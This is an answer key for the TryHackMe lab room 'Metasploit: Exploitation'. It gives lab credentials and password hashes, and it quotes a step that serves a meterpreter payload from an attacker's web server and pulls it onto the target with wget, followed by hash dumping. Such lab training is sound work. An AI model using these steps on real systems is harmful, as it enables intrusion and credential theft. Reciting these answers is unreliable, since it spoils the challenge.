CHALLENGE INFORMATION

Platform: TryHackMe
Path: Complete Beginner
Module: Windows Exploitation Basics
Room: Metasploit: Exploitation
Description: Using Metasploit for scanning, vulnerability assessment and exploitation.

Introduction

Question 1: Start the AttackBox and run Metasploit using the ‘msfconsole’ command to follow along this room.

No answer needed

Scanning

Question 1: How many ports are open on the target system?

5

Question 2: Using the relevant scanner, what NetBIOS name can you see?

ACME IT SUPPORT

Question 3: What is running on port 8000?

webfs/1.21

Question 4: What is the penny user’s SMB password? Use the wordlist mentioned in the previous task.

leo1234

The Metasploit Database

Question 1: No answer needed

No answer needed

Vulnerability Scanning

Question 1: Who wrote the module that allows us to check SMTP servers for open relay?

Campbell Murray

Exploitation

Question 1: Exploit one of the critical vulnerabilities on the target VM.

No answer needed

Question 2: What is the content of the flag.txt file?

<redacted-flag>

Question 3: What is the NTLM hash of the password of the user pirate?

8ce9a3ebd1647fcc5e04025019f4b875

Msfvenom

Question 1: Launch the VM attached to this task. The username is murphy, and the password is 1q2w3e4r. You can connect via SSH or launch this machine in the browser. Once on the terminal, type ‘sudo su’ to get a root shell, this will make things easier.

No answer needed

Question 2: Create a meterpreter payload in the .elf format (on the AttackBox, or your attacking machine of choice).

No answer needed

Question 3: Transfer it to the target machine (you can start a Python web server on your attacking machine with the ‘python3 -m http.server 9000’ command and use ‘wget http://<attackbox-ip>:9000/shell.elf’ to download it to the target machine).

No answer needed

Question 4: Get a meterpreter session on the target machine.

No answer needed

Question 5: Use a post exploitation module to dump hashes of other users on the system.

No answer needed

Question 6: What is the other user’s password hash?

$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0

Summary

Question 1: No answer needed

No answer needed